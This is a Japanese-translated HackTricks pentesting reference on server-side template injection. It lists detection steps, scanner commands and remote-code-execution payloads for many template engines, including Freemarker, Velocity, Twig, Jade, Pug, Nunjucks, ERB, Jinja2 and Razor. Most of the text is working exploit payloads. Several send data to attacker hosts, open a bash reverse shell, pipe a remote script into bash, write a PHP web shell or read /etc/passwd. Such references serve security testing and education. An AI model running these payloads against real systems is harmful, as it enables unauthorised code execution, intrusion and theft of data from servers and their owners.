hacktricks/pentesting-web/ssti-server-side-template-injection
2024-04-18 04:12:23 +00:00
..
el-expression-language.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:12:23 +00:00
jinja2-ssti.md GitBook: No commit message 2024-04-06 18:36:04 +00:00
README.md GitBook: No commit message 2024-04-06 18:36:04 +00:00

SSTI (Server Side Template Injection)

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

SSTIServer-Side Template Injectionとは

サーバーサイドテンプレートインジェクションは、攻撃者がサーバーで実行されるテンプレートに悪意のあるコードをインジェクトできる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つかる可能性があります。

JinjaはWebアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう

output = template.render(name=request.args.get('name'))

以下の脆弱なコードでは、ユーザーのリクエストからの name パラメータが render 関数を使用して直接テンプレートに渡されます。これにより、攻撃者が name パラメータに悪意のあるコードをインジェクトし、サーバーサイドのテンプレートインジェクションを引き起こす可能性があります。

たとえば、攻撃者は次のようなペイロードを持つリクエストを作成できます:

http://vulnerable-website.com/?name={{bad-stuff-here}}

ペイロード {{bad-stuff-here}}name パラメータに挿入されます。このペイロードには、攻撃者が不正なコードを実行したりテンプレートエンジンを操作したりして、サーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。

サーバーサイドテンプレートインジェクション脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されることを確認する必要があります。入力検証の実装とコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。

検出

サーバーサイドテンプレートインジェクションSSTIを検出するために、まずテンプレートのファジングが直接的なアプローチです。これには、特殊文字のシーケンス(${{<%[%'"}}%\)をテンプレートに挿入し、サーバーの応答の通常のデータとこの特殊ペイロードとの違いを分析します。脆弱性の指標には次のものがあります:

  • 脆弱性やテンプレートエンジンを明らかにするエラーの発生。
  • 反射でのペイロードの不在、または一部が欠落していることにより、サーバーが通常のデータと異なる方法で処理していることを示す。
  • プレーンテキストコンテキストサーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別します(例:{{7*7}}${7*7})。
  • コードコンテキスト:入力パラメータを変更して脆弱性を確認します。たとえば、http://vulnerable-website.com/?greeting=data.usernamegreeting を変更して、greeting=data.username}}hello がユーザー名を返すか固定されているかを確認します。

識別フェーズ

テンプレートエンジンを特定するには、エラーメッセージを分析したり、言語固有のさまざまなペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには ${7/0}{{7/0}}<%= 7/0 %> があります。数学演算に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。

ツール

TInjA

新しいポリグロットを利用する効率的な SSTI + CSTI スキャナー

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

テンプレートインジェクションテーブル

44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブル。

Exploits

一般的な

このワードリストには、以下で言及されているエンジンの環境で定義された変数が含まれています:

Java

Java - 基本的なインジェクション

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - システムの環境変数を取得する

${T(java.lang.System).getenv()}

Java - /etc/passwd の取得

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

あなたは、https://try.freemarker.apache.org でペイロードを試すことができます。

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - サンドボックス回避

⚠️ Freemarkerバージョン2.3.30未満でのみ機能します

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

詳細

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

詳細情報

Thymeleaf

Thymeleafでは、SSTI脆弱性の一般的なテストとして${7*7}の式が使用され、このテンプレートエンジンにも適用されます。潜在的なリモートコード実行のために、以下のような式が使用されます:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式のインライン化_は他のテンプレート位置でもサポートされており、[[...]][(...)]のような構文を使用します。したがって、単純なSSTIテストペイロードは[[${7*7}]]のようになります。

ただし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト構成では動的なテンプレート生成がサポートされておらず、テンプレートは事前に定義する必要があります。開発者は、文字列からテンプレートを動的に生成するために独自のTemplateResolverを実装する必要がありますが、これは一般的ではありません。

Thymeleafはまた、_式の前処理_を提供しており、ダブルアンダースコア(__...__)内の式が前処理されます。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます。

#{selection.__${sel.code}__}

Thymeleafにおける脆弱性の例

以下のコードスニペットを考えてみてください。これは攻撃を受けやすい可能性があります:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

これは、テンプレートエンジンがこれらの入力を適切に処理しない場合、次のようなURLにアクセスしてリモートコードを実行する可能性があることを示しています

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

詳細情報

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

フィルターをバイパスする

複数の変数式を使用できます。${...}が機能しない場合は、#{...}*{...}@{...}、または~{...}を試してみてください。

  • /etc/passwdを読む
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • ペイロード生成用のカスタムスクリプト
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

詳細情報

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebbleの古いバージョンバージョン3.0.9未満):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

新しいバージョンのPebble

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjavaは、Java向けの強力なテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクションSSTI攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、入力検証とエスケープ処理を適切に行うことが重要です。 Jinjavaの脆弱性を悪用する攻撃者は、任意のコードを実行し、システムに深刻な影響を与える可能性があります。

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - コマンド実行

https://github.com/HubSpot/jinjava/ で利用可能なHubspotによって開発されたオープンソースプロジェクトです。

https://github.com/HubSpot/jinjava/pull/230 によって修正されました。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

詳細情報

Hubspot - HuBL (Java)

  • {% %} ステートメントの区切り記号
  • {{ }} 式の区切り記号
  • {# #} コメントの区切り記号
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、Github 上の Jinjava プロジェクト を発見しました。

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

詳細情報

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL)は、JavaEEにおいてプレゼンテーション層Webページなどとアプリケーションロジック管理されたビーンなどとの間の相互作用を容易にする基本的な機能です。これは、このコミュニケーションを効率化するために、複数のJavaEEテクロジー全体で広く使用されています。ELを利用する主要なJavaEEテクロジーには次のものがあります。

  • JavaServer Faces (JSF): ELを使用して、JSFページのコンポーネントを対応するバックエンドデータやアクションにバインドします。
  • JavaServer Pages (JSP): JSPではELが使用され、JSPページ内のデータへのアクセスや操作が可能になり、ページ要素をアプリケーションデータに接続しやすくなります。
  • Contexts and Dependency Injection for Java EE (CDI): ELはCDIと統合され、Web層と管理されたビーンとの間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。

ELインタプリタの悪用について詳しく学ぶには、次のページをチェックしてください

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

次のセキュリティマネージャー回避策は、この解説記事から取得されました。

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

詳細情報

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - テンプレート形式

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

詳細

PlatesPHP

PlatesはPHP固有のテンプレートエンジンであり、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、PlatesはテンプレートでネイティブのPHPコードを活用し、PHP開発者にとって直感的です。

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ページのテンプレート:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

レイアウトテンプレート:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

詳細

PHPlibとHTML_Template_PHPLIBPHP

HTML_Template_PHPLIBはPHPlibと同じで、Pearに移植されています。

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Description

Server-Side Template Injection (SSTI) occurs when an application allows user input without proper sanitization in a template. This can lead to arbitrary code execution on the server.

Exploitation

To exploit SSTI, an attacker can inject template directives into user input fields. This can vary depending on the templating engine being used by the application.

Prevention

To prevent SSTI, always validate and sanitize user input before using it in templates. Additionally, consider using a safe templating engine that automatically escapes user input.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

詳細情報

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

詳細情報

patTemplate (PHP)

patTemplateは、XMLタグを使用してドキュメントを異なる部分に分割する、コンパイルされないPHPテンプレートエンジンです。

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

詳細

Handlebars (NodeJS)

パストラバーサル(詳細はこちら)。

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = エラー
  • ${7*7} = ${7*7}
  • 何も
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

詳細情報

JsRender (NodeJS)

テンプレート 説明
出力を評価してレンダリングする
HTMLエンコードされた出力を評価してレンダリングする
コメント
and コードを許可(デフォルトでは無効)
  • = 49

クライアントサイド

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

サーバーサイド

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

詳細情報

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

サーバーサイドレンダリングの例

var pugjs = require('pug');
home = pugjs.render(injected_page)

詳細

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 出力なし
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = エラー
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

詳細

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

詳細

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

詳細情報

Python

以下のページをチェックして、Pythonでのサンドボックスをバイパスする任意のコマンド実行のトリックについて学んでください:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}






{{os.system('whoami')}}
{{os.system('whoami')}}

詳細情報

Jinja2 (Python)

公式ウェブサイト

Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスです。

  • {{7*7}} = エラー
  • ${7*7} = ${7*7}
  • {{foobar}} なし
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - テンプレート形式

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


__builtins__に依存しないRCE:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinjaの乱用方法の詳細:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

他のペイロードはhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2にあります。

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

詳細情報

Razor (.Net)

  • @(2+2) <= 成功
  • @() <= 成功
  • @("{{code}}") <= 成功
  • @ <= 成功
  • @{} <= エラー!
  • @{ <= エラー!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NETのSystem.Diagnostics.Process.Startメソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例はhttps://github.com/cnotin/RazorVulnerableAppで見つけることができます。

詳細情報

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
